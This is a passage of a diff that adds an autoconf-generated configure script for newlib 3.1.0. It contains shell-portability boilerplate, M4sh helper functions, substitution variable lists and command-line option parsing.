PATH_SEPARATOR=';' ++ } ++fi ++ ++ ++# IFS ++# We need space, tab and new line, in precisely that order. Quoting is ++# there to prevent editors from complaining about space-tab. ++# (If _AS_PATH_WALK were called with IFS unset, it would disable word ++# splitting by setting IFS to empty value.) ++IFS=" "" $as_nl" ++ ++# Find who we are. Look in the path if we contain no directory separator. ++as_myself= ++case $0 in #(( ++ *[\\/]* ) as_myself=$0 ;; ++ *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break ++ done ++IFS=$as_save_IFS ++ ++ ;; ++esac ++# We did not find ourselves, most probably we were run as `sh COMMAND' ++# in which case we are not to be found in the path. ++if test "x$as_myself" = x; then ++ as_myself=$0 ++fi ++if test ! -f "$as_myself"; then ++ $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 ++ exit 1 ++fi ++ ++# Unset variables that we do not need and which cause bugs (e.g. in ++# pre-3.0 UWIN ksh). But do not cause bugs in bash 2.01; the "|| exit 1" ++# suppresses any "Segmentation fault" message there. '((' could ++# trigger a bug in pdksh 5.2.14. ++for as_var in BASH_ENV ENV MAIL MAILPATH ++do eval test x\${$as_var+set} = xset \ ++ && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : ++done ++PS1='$ ' ++PS2='> ' ++PS4='+ ' ++ ++# NLS nuisances. ++LC_ALL=C ++export LC_ALL ++LANGUAGE=C ++export LANGUAGE ++ ++# CDPATH. ++(unset CDPATH) >/dev/null 2>&1 && unset CDPATH ++ ++if test "x$CONFIG_SHELL" = x; then ++ as_bourne_compatible="if test -n \"\${ZSH_VERSION+set}\" && (emulate sh) >/dev/null 2>&1; then : ++ emulate sh ++ NULLCMD=: ++ # Pre-4.2 versions of Zsh do word splitting on \${1+\"\$@\"}, which ++ # is contrary to our usage. Disable this feature. ++ alias -g '\${1+\"\$@\"}'='\"\$@\"' ++ setopt NO_GLOB_SUBST ++else ++ case \`(set -o) 2>/dev/null\` in #( ++ *posix*) : ++ set -o posix ;; #( ++ *) : ++ ;; ++esac ++fi ++" ++ as_required="as_fn_return () { (exit \$1); } ++as_fn_success () { as_fn_return 0; } ++as_fn_failure () { as_fn_return 1; } ++as_fn_ret_success () { return 0; } ++as_fn_ret_failure () { return 1; } ++ ++exitcode=0 ++as_fn_success || { exitcode=1; echo as_fn_success failed.; } ++as_fn_failure && { exitcode=1; echo as_fn_failure succeeded.; } ++as_fn_ret_success || { exitcode=1; echo as_fn_ret_success failed.; } ++as_fn_ret_failure && { exitcode=1; echo as_fn_ret_failure succeeded.; } ++if ( set x; as_fn_ret_success y && test x = \"\$1\" ); then : ++ ++else ++ exitcode=1; echo positional parameters were not saved. ++fi ++test x\$exitcode = x0 || exit 1" ++ as_suggested=" as_lineno_1=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_1a=\$LINENO ++ as_lineno_2=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_2a=\$LINENO ++ eval 'test \"x\$as_lineno_1'\$as_run'\" != \"x\$as_lineno_2'\$as_run'\" && ++ test \"x\`expr \$as_lineno_1'\$as_run' + 1\`\" = \"x\$as_lineno_2'\$as_run'\"' || exit 1" ++ if (eval "$as_required") 2>/dev/null; then : ++ as_have_required=yes ++else ++ as_have_required=no ++fi ++ if test x$as_have_required = xyes && (eval "$as_suggested") 2>/dev/null; then : ++ ++else ++ as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++as_found=false ++for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ as_found=: ++ case $as_dir in #( ++ /*) ++ for as_base in sh bash ksh sh5; do ++ # Try only shells that exist, to save several forks. ++ as_shell=$as_dir/$as_base ++ if { test -f "$as_shell" || test -f "$as_shell.exe"; } && ++ { $as_echo "$as_bourne_compatible""$as_required" | as_run=a "$as_shell"; } 2>/dev/null; then : ++ CONFIG_SHELL=$as_shell as_have_required=yes ++ if { $as_echo "$as_bourne_compatible""$as_suggested" | as_run=a "$as_shell"; } 2>/dev/null; then : ++ break 2 ++fi ++fi ++ done;; ++ esac ++ as_found=false ++done ++$as_found || { if { test -f "$SHELL" || test -f "$SHELL.exe"; } && ++ { $as_echo "$as_bourne_compatible""$as_required" | as_run=a "$SHELL"; } 2>/dev/null; then : ++ CONFIG_SHELL=$SHELL as_have_required=yes ++fi; } ++IFS=$as_save_IFS ++ ++ ++ if test "x$CONFIG_SHELL" != x; then : ++ # We cannot yet assume a decent shell, so we have to provide a ++ # neutralization value for shells without unset; and this also ++ # works around shells that cannot unset nonexistent variables. ++ # Preserve -v and -x to the replacement shell. ++ BASH_ENV=/dev/null ++ ENV=/dev/null ++ (unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV ++ export CONFIG_SHELL ++ case $- in # (((( ++ *v*x* | *x*v* ) as_opts=-vx ;; ++ *v* ) as_opts=-v ;; ++ *x* ) as_opts=-x ;; ++ * ) as_opts= ;; ++ esac ++ exec "$CONFIG_SHELL" $as_opts "$as_myself" ${1+"$@"} ++fi ++ ++ if test x$as_have_required = xno; then : ++ $as_echo "$0: This script requires a shell more modern than all" ++ $as_echo "$0: the shells that I found on your system." ++ if test x${ZSH_VERSION+set} = xset ; then ++ $as_echo "$0: In particular, zsh $ZSH_VERSION has bugs and should" ++ $as_echo "$0: be upgraded to zsh 4.3.4 or later." ++ else ++ $as_echo "$0: Please tell bug-autoconf@gnu.org about your system, ++$0: including any error possibly output before this ++$0: message. Then install a modern shell, or manually run ++$0: the script under such a shell if you do have one." ++ fi ++ exit 1 ++fi ++fi ++fi ++SHELL=${CONFIG_SHELL-/bin/sh} ++export SHELL ++# Unset more variables known to interfere with behavior of common tools. ++CLICOLOR_FORCE= GREP_OPTIONS= ++unset CLICOLOR_FORCE GREP_OPTIONS ++ ++## --------------------- ## ++## M4sh Shell Functions. ## ++## --------------------- ## ++# as_fn_unset VAR ++# --------------- ++# Portably unset VAR. ++as_fn_unset () ++{ ++ { eval $1=; unset $1;} ++} ++as_unset=as_fn_unset ++ ++# as_fn_set_status STATUS ++# ----------------------- ++# Set $? to STATUS, without forking. ++as_fn_set_status () ++{ ++ return $1 ++} # as_fn_set_status ++ ++# as_fn_exit STATUS ++# ----------------- ++# Exit the shell with STATUS, even in a "trap 0" or "set -e" context. ++as_fn_exit () ++{ ++ set +e ++ as_fn_set_status $1 ++ exit $1 ++} # as_fn_exit ++ ++# as_fn_mkdir_p ++# ------------- ++# Create "$as_dir" as a directory, including parents if necessary. ++as_fn_mkdir_p () ++{ ++ ++ case $as_dir in #( ++ -*) as_dir=./$as_dir;; ++ esac ++ test -d "$as_dir" || eval $as_mkdir_p || { ++ as_dirs= ++ while :; do ++ case $as_dir in #( ++ *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( ++ *) as_qdir=$as_dir;; ++ esac ++ as_dirs="'$as_qdir' $as_dirs" ++ as_dir=`$as_dirname -- "$as_dir" || ++$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ ++ X"$as_dir" : 'X\(//\)[^/]' \| \ ++ X"$as_dir" : 'X\(//\)$' \| \ ++ X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || ++$as_echo X"$as_dir" | ++ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ ++ s//\1/ ++ q ++ } ++ /^X\(\/\/\)[^/].*/{ ++ s//\1/ ++ q ++ } ++ /^X\(\/\/\)$/{ ++ s//\1/ ++ q ++ } ++ /^X\(\/\).*/{ ++ s//\1/ ++ q ++ } ++ s/.*/./; q'` ++ test -d "$as_dir" && break ++ done ++ test -z "$as_dirs" || eval "mkdir $as_dirs" ++ } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir" ++ ++ ++} # as_fn_mkdir_p ++# as_fn_append VAR VALUE ++# ---------------------- ++# Append the text in VALUE to the end of the definition contained in VAR. Take ++# advantage of any shell optimizations that allow amortized linear growth over ++# repeated appends, instead of the typical quadratic growth present in naive ++# implementations. ++if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then : ++ eval 'as_fn_append () ++ { ++ eval $1+=\$2 ++ }' ++else ++ as_fn_append () ++ { ++ eval $1=\$$1\$2 ++ } ++fi # as_fn_append ++ ++# as_fn_arith ARG... ++# ------------------ ++# Perform arithmetic evaluation on the ARGs, and store the result in the ++# global $as_val. Take advantage of shells that can avoid forks. The arguments ++# must be portable across $(()) and expr. ++if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then : ++ eval 'as_fn_arith () ++ { ++ as_val=$(( $* )) ++ }' ++else ++ as_fn_arith () ++ { ++ as_val=`expr "$@" || test $? -eq 1` ++ } ++fi # as_fn_arith ++ ++ ++# as_fn_error STATUS ERROR [LINENO LOG_FD] ++# ---------------------------------------- ++# Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are ++# provided, also output the error to LOG_FD, referencing LINENO. Then exit the ++# script with STATUS, using 1 if that was 0. ++as_fn_error () ++{ ++ as_status=$1; test $as_status -eq 0 && as_status=1 ++ if test "$4"; then ++ as_lineno=${as_lineno-"$3"} as_lineno_stack=as_lineno_stack=$as_lineno_stack ++ $as_echo "$as_me:${as_lineno-$LINENO}: error: $2" >&$4 ++ fi ++ $as_echo "$as_me: error: $2" >&2 ++ as_fn_exit $as_status ++} # as_fn_error ++ ++if expr a : '\(a\)' >/dev/null 2>&1 && ++ test "X`expr 00001 : '.*\(...\)'`" = X001; then ++ as_expr=expr ++else ++ as_expr=false ++fi ++ ++if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then ++ as_basename=basename ++else ++ as_basename=false ++fi ++ ++if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then ++ as_dirname=dirname ++else ++ as_dirname=false ++fi ++ ++as_me=`$as_basename -- "$0" || ++$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ ++ X"$0" : 'X\(//\)$' \| \ ++ X"$0" : 'X\(/\)' \| . 2>/dev/null || ++$as_echo X/"$0" | ++ sed '/^.*\/\([^/][^/]*\)\/*$/{ ++ s//\1/ ++ q ++ } ++ /^X\/\(\/\/\)$/{ ++ s//\1/ ++ q ++ } ++ /^X\/\(\/\).*/{ ++ s//\1/ ++ q ++ } ++ s/.*/./; q'` ++ ++# Avoid depending upon Character Ranges. ++as_cr_letters='abcdefghijklmnopqrstuvwxyz' ++as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' ++as_cr_Letters=$as_cr_letters$as_cr_LETTERS ++as_cr_digits='0123456789' ++as_cr_alnum=$as_cr_Letters$as_cr_digits ++ ++ ++ as_lineno_1=$LINENO as_lineno_1a=$LINENO ++ as_lineno_2=$LINENO as_lineno_2a=$LINENO ++ eval 'test "x$as_lineno_1'$as_run'" != "x$as_lineno_2'$as_run'" && ++ test "x`expr $as_lineno_1'$as_run' + 1`" = "x$as_lineno_2'$as_run'"' || { ++ # Blame Lee E. McMahon (1931-1989) for sed's syntax. :-) ++ sed -n ' ++ p ++ /[$]LINENO/= ++ ' <$as_myself | ++ sed ' ++ s/[$]LINENO.*/&-/ ++ t lineno ++ b ++ :lineno ++ N ++ :loop ++ s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/ ++ t loop ++ s/-\n.*// ++ ' >$as_me.lineno && ++ chmod +x "$as_me.lineno" || ++ { $as_echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2; as_fn_exit 1; } ++ ++ # Don't try to exec as it changes $[0], causing all sort of problems ++ # (the dirname of $[0] is not the place where we might find the ++ # original and so on. Autoconf is especially sensitive to this). ++ . "./$as_me.lineno" ++ # Exit status is that of the last command. ++ exit ++} ++ ++ECHO_C= ECHO_N= ECHO_T= ++case `echo -n x` in #((((( ++-n*) ++ case `echo 'xy\c'` in ++ *c*) ECHO_T=' ';; # ECHO_T is single tab character. ++ xy) ECHO_C='\c';; ++ *) echo `echo ksh88 bug on AIX 6.1` > /dev/null ++ ECHO_T=' ';; ++ esac;; ++*) ++ ECHO_N='-n';; ++esac ++ ++rm -f conf$$ conf$$.exe conf$$.file ++if test -d conf$$.dir; then ++ rm -f conf$$.dir/conf$$.file ++else ++ rm -f conf$$.dir ++ mkdir conf$$.dir 2>/dev/null ++fi ++if (echo >conf$$.file) 2>/dev/null; then ++ if ln -s conf$$.file conf$$ 2>/dev/null; then ++ as_ln_s='ln -s' ++ # ... but there are two gotchas: ++ # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. ++ # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. ++ # In both cases, we have to default to `cp -p'. ++ ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || ++ as_ln_s='cp -p' ++ elif ln conf$$.file conf$$ 2>/dev/null; then ++ as_ln_s=ln ++ else ++ as_ln_s='cp -p' ++ fi ++else ++ as_ln_s='cp -p' ++fi ++rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file ++rmdir conf$$.dir 2>/dev/null ++ ++if mkdir -p . 2>/dev/null; then ++ as_mkdir_p='mkdir -p "$as_dir"' ++else ++ test -d ./-p && rmdir ./-p ++ as_mkdir_p=false ++fi ++ ++if test -x / >/dev/null 2>&1; then ++ as_test_x='test -x' ++else ++ if ls -dL / >/dev/null 2>&1; then ++ as_ls_L_option=L ++ else ++ as_ls_L_option= ++ fi ++ as_test_x=' ++ eval sh -c '\'' ++ if test -d "$1"; then ++ test -d "$1/."; ++ else ++ case $1 in #( ++ -*)set "./$1";; ++ esac; ++ case `ls -ld'$as_ls_L_option' "$1" 2>/dev/null` in #(( ++ ???[sx]*):;;*)false;;esac;fi ++ '\'' sh ++ ' ++fi ++as_executable_p=$as_test_x ++ ++# Sed expression to map a string onto a valid CPP name. ++as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" ++ ++# Sed expression to map a string onto a valid variable name. ++as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" ++ ++ ++test -n "$DJDIR" || exec 7<&0 &1 ++ ++# Name of the host. ++# hostname on some systems (SVR3.2, old GNU/Linux) returns a bogus exit status, ++# so uname gets run too. ++ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q` ++ ++# ++# Initializations. ++# ++ac_default_prefix=/usr/local ++ac_clean_files= ++ac_config_libobj_dir=. ++LIBOBJS= ++cross_compiling=no ++subdirs= ++MFLAGS= ++MAKEFLAGS= ++ ++# Identity of this package. ++PACKAGE_NAME='newlib' ++PACKAGE_TARNAME='newlib' ++PACKAGE_VERSION='3.1.0' ++PACKAGE_STRING='newlib 3.1.0' ++PACKAGE_BUGREPORT='' ++PACKAGE_URL='' ++ ++ac_unique_file="termios.c" ++ac_subst_vars='LTLIBOBJS ++LIBOBJS ++sys_dir ++machine_dir ++libm_machine_dir ++lpfx ++aext ++oext ++OBJEXT ++USE_LIBTOOL_FALSE ++USE_LIBTOOL_TRUE ++ELIX_LEVEL_4_FALSE ++ELIX_LEVEL_4_TRUE ++ELIX_LEVEL_3_FALSE ++ELIX_LEVEL_3_TRUE ++ELIX_LEVEL_2_FALSE ++ELIX_LEVEL_2_TRUE ++ELIX_LEVEL_1_FALSE ++ELIX_LEVEL_1_TRUE ++ELIX_LEVEL_0_FALSE ++ELIX_LEVEL_0_TRUE ++LDFLAGS ++NO_INCLUDE_LIST ++NEWLIB_CFLAGS ++CCASFLAGS ++CCAS ++MAINT ++MAINTAINER_MODE_FALSE ++MAINTAINER_MODE_TRUE ++READELF ++RANLIB ++AR ++AS ++am__fastdepCC_FALSE ++am__fastdepCC_TRUE ++CCDEPMODE ++am__nodep ++AMDEPBACKSLASH ++AMDEP_FALSE ++AMDEP_TRUE ++am__quote ++am__include ++DEPDIR ++CC ++am__untar ++am__tar ++AMTAR ++am__leading_dot ++SET_MAKE ++AWK ++mkdir_p ++MKDIR_P ++INSTALL_STRIP_PROGRAM ++STRIP ++install_sh ++MAKEINFO ++AUTOHEADER ++AUTOMAKE ++AUTOCONF ++ACLOCAL ++VERSION ++PACKAGE ++CYGPATH_W ++am__isrc ++INSTALL_DATA ++INSTALL_SCRIPT ++INSTALL_PROGRAM ++host_os ++host_vendor ++host_cpu ++host ++build_os ++build_vendor ++build_cpu ++build ++newlib_basedir ++MAY_SUPPLY_SYSCALLS_FALSE ++MAY_SUPPLY_SYSCALLS_TRUE ++target_alias ++host_alias ++build_alias ++LIBS ++ECHO_T ++ECHO_N ++ECHO_C ++DEFS ++mandir ++localedir ++libdir ++psdir ++pdfdir ++dvidir ++htmldir ++infodir ++docdir ++oldincludedir ++includedir ++localstatedir ++sharedstatedir ++sysconfdir ++datadir ++datarootdir ++libexecdir ++sbindir ++bindir ++program_transform_name ++prefix ++exec_prefix ++PACKAGE_URL ++PACKAGE_BUGREPORT ++PACKAGE_STRING ++PACKAGE_VERSION ++PACKAGE_TARNAME ++PACKAGE_NAME ++PATH_SEPARATOR ++SHELL' ++ac_subst_files='' ++ac_user_opts=' ++enable_option_checking ++enable_multilib ++enable_target_optspace ++enable_malloc_debugging ++enable_newlib_multithread ++enable_newlib_iconv ++enable_newlib_elix_level ++enable_newlib_io_float ++enable_newlib_supplied_syscalls ++enable_newlib_fno_builtin ++enable_dependency_tracking ++enable_maintainer_mode ++' ++ ac_precious_vars='build_alias ++host_alias ++target_alias ++CCAS ++CCASFLAGS' ++ ++ ++# Initialize some variables set by options. ++ac_init_help= ++ac_init_version=false ++ac_unrecognized_opts= ++ac_unrecognized_sep= ++# The variables have the same names as the options, with ++# dashes changed to underlines. ++cache_file=/dev/null ++exec_prefix=NONE ++no_create= ++no_recursion= ++prefix=NONE ++program_prefix=NONE ++program_suffix=NONE ++program_transform_name=s,x,x, ++silent= ++site= ++srcdir= ++verbose= ++x_includes=NONE ++x_libraries=NONE ++ ++# Installation directory options. ++# These are left unexpanded so users can "make install exec_prefix=/foo" ++# and all the variables that are supposed to be based on exec_prefix ++# by default will actually change. ++# Use braces instead of parens because sh, perl, etc. also accept them. ++# (The list follows the same order as the GNU Coding Standards.) ++bindir='${exec_prefix}/bin' ++sbindir='${exec_prefix}/sbin' ++libexecdir='${exec_prefix}/libexec' ++datarootdir='${prefix}/share' ++datadir='${datarootdir}' ++sysconfdir='${prefix}/etc' ++sharedstatedir='${prefix}/com' ++localstatedir='${prefix}/var' ++includedir='${prefix}/include' ++oldincludedir='/usr/include' ++docdir='${datarootdir}/doc/${PACKAGE_TARNAME}' ++infodir='${datarootdir}/info' ++htmldir='${docdir}' ++dvidir='${docdir}' ++pdfdir='${docdir}' ++psdir='${docdir}' ++libdir='${exec_prefix}/lib' ++localedir='${datarootdir}/locale' ++mandir='${datarootdir}/man' ++ ++ac_prev= ++ac_dashdash= ++for ac_option ++do ++ # If the previous option needs an argument, assign it. ++ if test -n "$ac_prev"; then ++ eval $ac_prev=\$ac_option ++ ac_prev= ++ continue ++ fi ++ ++ case $ac_option in ++ *=?*) ac_optarg=`expr "X$ac_option" : '[^=]*=\(.*\)'` ;; ++ *=) ac_optarg= ;; ++ *) ac_optarg=yes ;; ++ esac ++ ++ # Accept the important Cygnus configure options, so we can diagnose typos. ++ ++ case $ac_dashdash$ac_option in ++ --) ++ ac_dashdash=yes ;; ++ ++ -bindir | --bindir | --bindi | --bind | --bin | --bi) ++ ac_prev=bindir ;; ++ -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) ++ bindir=$ac_optarg ;; ++ ++ -build | --build | --buil | --bui | --bu) ++ ac_prev=build_alias ;; ++ -build=* | --build=* | --buil=* | --bui=* | --bu=*) ++ build_alias=$ac_optarg ;; ++ ++ -cache-file | --cache-file | --cache-fil | --cache-fi \ ++ | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) ++ ac_prev=cache_file ;; ++ -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ ++ | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) ++ cache_file=$ac_optarg ;; ++ ++ --config-cache | -C) ++ cache_file=config.cache ;; ++ ++ -datadir | --datadir | --datadi | --datad) ++ ac_prev=datadir ;; ++ -datadir=* | --datadir=* | --datadi=* | --datad=*) ++ datadir=$ac_optarg ;; ++ ++ -datarootdir | --datarootdir | --datarootdi | --datarootd | --dataroot \ ++ | --dataroo | --dataro | --datar) ++ ac_prev=datarootdir ;; ++ -datarootdir=* | --datarootdir=* | --datarootdi=* | --datarootd=* \ ++ | --dataroot=* | --dataroo=* | --dataro=* | --datar=*) ++ datarootdir=$ac_optarg ;; ++ ++ -disable-* | --disable-*) ++ ac_useropt=`expr "x$ac_option" : 'x-*disable-\(.*\)'` ++ # Reject names that are not valid shell variable names. ++ expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && ++ as_fn_error $? "invalid feature name: $ac_useropt" ++ ac_useropt_orig=$ac_useropt ++ ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` ++ case $ac_user_opts in ++ *" ++"enable_$ac_useropt" ++"*) ;; ++ *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--disable-$ac_useropt_orig" ++ ac_unrecognized_sep=', ';; ++ esac ++ eval enable_$ac_useropt=no ;; ++ ++ -docdir | --docdir | --docdi | --doc | --do) ++ ac_prev=docdir ;; ++ -docdir=* | --docdir=* | --docdi=* | --doc=* | --do=*) ++ docdir=$ac_optarg ;; ++ ++ -dvidir | --dvidir | --dvidi | --dvid | --dvi | --dv) ++ ac_prev=dvidir ;; ++ -dvidir=* | --dvidir=* | --dvidi=* | --dvid=* | --dvi=* | --dv=*) ++ dvidir=$ac_optarg ;; ++ ++ -enable-* | --enable-*) ++ ac_useropt=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'` ++ # Reject names that are not valid shell variable names. ++ expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && ++ as_fn_error $? "invalid feature name: $ac_useropt" ++ ac_useropt_orig=$ac_useropt ++ ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` ++ case $ac_user_opts in ++ *" ++"enable_$ac_useropt" ++"*) ;; ++ *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--enable-$ac_useropt_orig" ++ ac_unrecognized_sep=', ';; ++ esac ++ eval enable_$ac_useropt=\$ac_optarg ;; ++ ++ -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ ++ | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ ++ | --exec | --exe | --ex) ++ ac_prev=exec_prefix ;; ++ -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ ++ | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ ++ | --exec=* | --exe=* | --ex=*) ++ exec_prefix=$ac_optarg ;; ++ ++ -gas | --gas | --ga | --g) ++ # Obsolete; use --with-gas. ++ with_gas=yes ;; ++ ++ -help | --help | --hel | --he | -h) ++ ac_init_help=long ;; ++ -help=r* | --help=r* | --hel=r* | --he=r* | -hr*) ++ ac_init_help=recursive ;; ++ -help=s* | --help=s* | --hel=s* | --he=s* | -hs*) ++ ac_init_help=short ;; ++ ++ -host | --host | --hos | --ho) ++ ac_prev=host_alias ;; ++ -host=* | --host=* | --hos=* | --ho=*) ++ host_alias=$ac_optarg ;; ++ ++ -htmldir | --htmldir | --htmldi | --htmld | --html | --htm | --ht) ++ ac_prev=htmldir ;; ++ -htmldir=* | --htmldir=* | --htmldi=* | --htmld=* | --html=* | --htm=* \ ++ | --ht=*) ++ htmldir=$ac_optarg ;; ++ ++ -includedir | --includedir | --includedi | --included | --include \ ++ | --includ | --inclu | --incl | --inc) ++ ac_prev=includedir ;; ++ -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ ++ | --includ=* | --inclu=* | --incl=* | --inc=*) ++ includedir=$ac_optarg ;; ++ ++ -infodir | --infodir | --infodi | --infod | --info | --inf) ++ ac_prev=infodir ;; ++ -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) ++ infodir=$ac_optarg ;; ++ ++ -libdir | --libdir | --libdi | --libd) ++ ac_prev=libdir ;; ++ -libdir=* | --libdir=* | --libdi=* | --libd=*) ++ libdir=$ac_optarg ;; ++ ++ -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ ++ | --libexe | --libex | --libe) ++ ac_prev=libexecdir ;; ++ -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ ++ | --libexe=* | --libex=* | --libe=*) ++ libexecdir=$ac_optarg ;; ++ ++ -localedir | --localedir | --localedi | --localed | --locale) ++ ac_prev=localedir ;; ++ -localedir=* | --localedir=* | --localedi=* | --localed=* | --locale=*) ++ localedir=$ac_optarg ;; ++ ++ -localstatedir | --localstatedir | --localstatedi | --localstated \ ++ | --localstate | --localstat | --localsta | --localst | --locals) ++ ac_prev=localstatedir ;; ++ -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ ++ | --localstate=* | --localstat=* | --localsta=* | --localst=* | --locals=*) ++ localstatedir=$ac_optarg ;; ++ ++ -mandir | --mandir | --mandi | --mand | --man | --ma | --m) ++ ac_prev=mandir ;; ++ -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) ++ mandir=$ac_optarg ;; ++ ++ -nfp | --nfp | --nf) ++ # Obsolete; use --without-fp. ++ with_fp=no ;; ++ ++ -no-create | --no-create | --no-creat | --no-crea | --no-cre \ ++ | --no-cr | --no-c | -n) ++ no_create=yes ;; ++ ++ -no-recursion | --no-recursion | --no-recursio | --no-recursi \ ++ | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) ++ no_recursion=yes ;; ++ ++ -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ ++ | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ ++ | --oldin | --oldi | --old | --ol | --o) ++ ac_prev=oldincludedir ;; ++ -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ ++ | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ ++ | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) ++ oldincludedir=$ac_optarg ;; ++ ++ -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) ++ ac_prev=prefix ;; ++ -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) ++ prefix=$ac_optarg ;; ++ ++ -program-prefix | --program-prefix | --program-prefi | --program-pref \ ++ | --program-pre | --program-pr | --program-p) ++ ac_prev=program_prefix ;; ++ -program-prefix=* | --program-prefix=* | --program-prefi=* \ ++ | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) ++ program_prefix=$ac_optarg ;; ++ ++ -program-suffix | --program-suffix | --program-suffi | --program-suff \ ++ | --program-suf | --program-su | --program-s) ++ ac_prev=program_suffix ;; ++ -program-suffix=* | --program-suffix=* | --program-suffi=* \ ++ | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) ++ program_suffix=$ac_optarg ;; ++ ++ -program-transform-name | --program-transform-name \ ++ | --program-transform-nam | --program-transform-na \ ++ | --program-transform-n | --program-transform- \ ++ | --program-transform | --program-transfor \ ++ | --program-transfo | --program-transf \ ++ | --program-trans | --program-tran \ ++ | --progr-tra | --program-tr | --program-t) ++ ac_prev=program_transform_name ;; ++ -program-transform-name=* | --program-transform-name=* \ ++ | --program-transform-nam=* | --program-transform-na=* \ ++ | --program-transform-n=* | --program-transform-=* \ ++ | --program-transform=* | --program-transfor=* \ ++ | --program-transfo=* | --program-transf=* \ ++ | --program-trans=* | --program-tran=* \ ++ | --progr-tra=* | --program-tr=* | --program-t=*) ++ program_transform_name=$ac_optarg ;; ++ ++ -pdfdir | --pdfdir | --pdfdi | --pdfd | --pdf | --pd) ++ ac_prev=pdfdir ;; ++ -pdfdir=* | --pdfdir=* | --pdfdi=* | --pdfd=* | --pdf=* | --pd=*) ++ pdfdir=$ac_optarg ;; ++ ++ -psdir | --psdir | --psdi | --psd | --ps) ++ ac_prev=psdir ;; ++ -psdir=* | --psdir=* | --psdi=* | --psd=* | --ps=*) ++ psdir=$ac_optarg ;; ++ ++ -q | -quiet | --quiet | --quie | --qui | --qu | --q \ ++ | -silent | --silent | --silen | --sile | --sil) ++ silent=yes ;; ++ ++ -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) ++ ac_prev=sbindir ;; ++ -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ ++ | --sbi=* | --sb=*) ++ sbindir=$ac_optarg ;; ++ ++ -sharedstatedir | --sharedstatedir | --sharedstatedi \ ++ | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ ++ | --sharedst | --shareds | --shared | --share | --shar \ ++ | --sha | --sh) ++ ac_prev=sharedstatedir ;; ++ -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ ++ | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ ++ | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ ++ | --sha=* | --sh=*) ++ sharedstatedir=$ac_optarg ;; ++ ++ -site | --site | --sit) ++ ac_prev=site ;; ++ 